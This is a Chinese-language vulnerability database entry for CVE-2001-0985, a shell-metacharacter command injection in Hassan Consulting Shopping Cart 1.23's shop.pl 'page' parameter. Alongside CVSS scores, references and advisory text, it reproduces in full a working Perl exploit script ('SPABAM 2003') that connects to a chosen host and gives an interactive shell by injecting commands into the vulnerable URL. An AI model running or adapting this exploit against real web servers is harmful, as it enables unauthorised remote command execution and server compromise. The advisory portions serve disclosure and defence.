CVE-2001-0985
CVSS7.5
发布时间 :2001-09-08 00:00:00
修订时间 :2008-09-05 16:25:24
NMCOES    

[原文]shop.pl in Hassan Consulting Shopping Cart 1.23 allows remote attackers to execute arbitrary commands via shell metacharacters in the "page" parameter.


[CNNVD]Hassan Consulting Shopping Cart远程任意命令执行漏洞(CNNVD-200109-020)

        
        Hassan Consulting's Shopping Cart是一款商业性质电子商务软件。
        Shopping Cart没有充分过滤来自WEB请求的用户输入,远程攻击者可以利用这个漏洞以WEB权限在系统上执行任意命令。
        Shopping Cart中的shop.pl对用户提交给page参数的输入缺少检查,提交类似";command|"的字符串,就可能以WEB进程权限在系统上执行任意命令。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0985
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0985
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200109-020
(官方数据源) CNNVD

- 其它链接及资源

http://www.irata.com/shopver.html
(PATCH)  MISC  http://www.irata.com/shopver.html
http://xforce.iss.net/static/7106.php
(VENDOR_ADVISORY)  XF  hassan-cart-command-execution(7106)
http://www.securityfocus.com/bid/3308
(VENDOR_ADVISORY)  BID  3308
http://www.securityfocus.com/archive/1/212827
(VENDOR_ADVISORY)  BUGTRAQ  20010908 Shopping Cart Version 1.23

- 漏洞信息

Hassan Consulting Shopping Cart远程任意命令执行漏洞
高危 输入验证
2001-09-08 00:00:00 2005-10-20 00:00:00
远程  
        
        Hassan Consulting's Shopping Cart是一款商业性质电子商务软件。
        Shopping Cart没有充分过滤来自WEB请求的用户输入,远程攻击者可以利用这个漏洞以WEB权限在系统上执行任意命令。
        Shopping Cart中的shop.pl对用户提交给page参数的输入缺少检查,提交类似";command|"的字符串,就可能以WEB进程权限在系统上执行任意命令。
        

- 公告与补丁

        厂商补丁:
        Hassan Consulting
        -----------------
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://www.irata.com/products.html

- 漏洞信息 (21104)

Hassan Consulting Shopping Cart 1.23 Arbitrary Command Execution Vulnerability (EDBID:21104)
cgi remote
2001-09-08 Verified
0 Alexey Sintsov
N/A [点击下载]
source: http://www.securityfocus.com/bid/3308/info

Hassan Consulting's Shopping Cart is commercial web store software.

Shopping Cart does not filter certain types of user-supplied input from web requests. This makes it possible for a malicious user to submit a request which causes arbitrary commands to be executed on the host (with the privileges of the webserver process). For example, special shell characters like "|" or ";" are treated as valid by Shopping Cart.


#####################################################
# Shopcart exploit
# Spawn bash style Shell with webserver uid
#
# Spabam 2003 PRIV8 code
# #hackarena irc.brasnet.org
# This Script is currently under development
#####################################################
use strict;
use IO::Socket;
my $host;
my $port;
my $command;
my $url;
my @results;
my $probe;
my @U;
my $shit;
$U[1] = "/cgi-local/shop.pl/page=;";
&intro;
&scan;
&choose;
&command;
&exit;
sub intro {
&help;
&host;
&server;
sleep 3;
};
sub host {
print "\nHost or IP : ";
$host=<STDIN>;
chomp $host;
if ($host eq ""){$host="127.0.0.1"};
$shit="|";
$port="80";
chomp $port;
if ($port =~/\D/ ){$port="80"};
if ($port eq "" ) {$port = "80"};
};
sub server {
my $X;
print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
$probe = "string";
my $output;
my $webserver = "something";
&connect;
for ($X=0; $X<=10; $X++){
	$output = $results[$X];
	if (defined $output){
	if ($output =~/Apache/){ $webserver = "Apache" };
	};
};
if ($webserver ne "Apache"){
my $choice = "y";
chomp $choice;
if ($choice =~/N/i) {&exit};
            }else{
print "\n\nOK";
	};		
};  
sub scan {
my $status = "not_vulnerable";
print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
my $loop;
my $output;
my $flag;
$command="dir";
for ($loop=1; $loop < @U; $loop++) { 
$flag = "0";
$url = $U[$loop];
$probe = "scan";
&connect;
foreach $output (@results){
if ($output =~ /Directory/) {
                              $flag = "1";
			      $status = "vulnerable";
			      };
	};
if ($flag eq "0") { 
}else{
     };
};
if ($status eq "not_vulnerable"){

				};
};
sub choose {
my $choice="0";
chomp $choice;
if ($choice > @U){ &choose };
if ($choice =~/\D/g ){ &choose };
if ($choice == 0){ &other };
$url = $U[$choice];
};
sub other {
my $other = "/cgi-local/shop.pl/page=;";
chomp $other;
$U[0] = $other;
};
sub command {
while ($command !~/quit/i) {
print "\n[$host]\$ ";
$command = <STDIN>;
chomp $command;
if ($command =~/quit/i) { &exit };
if ($command =~/url/i) { &choose }; 
if ($command =~/scan/i) { &scan };
if ($command =~/help/i) { &help };
$command =~ s/\s/+/g; 
$probe = "command";
if ($command !~/quit|url|scan|help/) {&connect};
};
&exit;
};  
sub connect {
my $connection = IO::Socket::INET->new (
				Proto => "tcp",
				PeerAddr => "$host",
				PeerPort => "$port",
				) or die "\nSorry UNABLE TO CONNECT To $host On Port $port.\n";
$connection -> autoflush(1);
if ($probe =~/command|scan/){
print $connection "GET $url$command$shit HTTP/1.0\r\n\r\n";
}elsif ($probe =~/string/) {
print $connection "HEAD / HTTP/1.0\r\n\r\n";
};

while ( <$connection> ) { 
			@results = <$connection>;
			 };
close $connection;
if ($probe eq "command"){ &output };
if ($probe eq "string"){ &output };
};  
sub output{
my $display;
if ($probe eq "string") {
			my $X;
			for ($X=0; $X<=10; $X++) {
			$display = $results[$X];
			if (defined $display){print "$display";};
			sleep 1;
				};
			}else{
			foreach $display (@results){
			    print "$display";
			    sleep 1;
				};
                          };
};  
sub exit{
print "\n\n\n
SPABAM 2003.";
print "\n\n\n";
exit;
};
sub help {
print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
print "\n
        ShopCart.pl v1.5 by SPABAM 2003";
print "\n
";
print "\n Hassan Consulting's Shopping Cart Version 1.18 Exploit";
print "\n 

(this version is unstable. Require %20 instead space)
note.. web directory is normally /var/www/html";
print "\n";
print "\n Host: www.victim.com or xxx.xxx.xxx.xxx (RETURN for 127.0.0.1)";
print "\n\n\n\n\n\n\n\n\n\n\n\n";
};
		

- 漏洞信息

635
Hassan Consulting shop.pl page Parameter Arbitrary Command Execution
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

2001-09-08 Unknow
2001-09-08 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Hassan Consulting Shopping Cart Arbitrary Command Execution Vulnerability
Input Validation Error 3308
Yes No
2001-09-08 12:00:00 2009-07-11 07:56:00
This vulnerability was posted to BugTraq by Alexey Sintsov <don_huan@xakep.ru>.

- 受影响的程序版本

Hassan Consulting Shopping Cart 1.23
- Apache Software Foundation Apache 1.3.20
- Apache Software Foundation Apache 1.3.20
- Apache Software Foundation Apache 1.3.19
- Apache Software Foundation Apache 1.3.19
- Apache Software Foundation Apache 1.3.18
- Apache Software Foundation Apache 1.3.18
- Apache Software Foundation Apache 1.3.17
- Apache Software Foundation Apache 1.3.17
- Apache Software Foundation Apache 1.3.14
- Apache Software Foundation Apache 1.3.14
- Apache Software Foundation Apache 1.3.12
- Apache Software Foundation Apache 1.3.12
- Apache Software Foundation Apache 1.3.11
- Apache Software Foundation Apache 1.3.11
- Microsoft IIS 4.0
- Microsoft IIS 4.0
- Microsoft IIS 3.0
- Microsoft IIS 3.0
- Microsoft IIS 2.0
- Microsoft IIS 2.0
- Microsoft IIS 1.0
- Microsoft IIS 1.0
- NCSA httpd 1.3
- NCSA httpd 1.3
- NCSA httpd 1.2
- NCSA httpd 1.2
- NCSA httpd 1.1
- NCSA httpd 1.1
- NCSA httpd 1.0

- 漏洞讨论

Hassan Consulting's Shopping Cart is commercial web store software.

Shopping Cart does not filter certain types of user-supplied input from web requests. This makes it possible for a malicious user to submit a request which causes arbitrary commands to be executed on the host (with the privileges of the webserver process). For example, special shell characters like "|" or ";" are treated as valid by Shopping Cart.

- 漏洞利用

This vulnerability can be exploited by submitting a HTTP request froma web browser.

Exploit contributed by SPABAM:

- 解决方案

Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站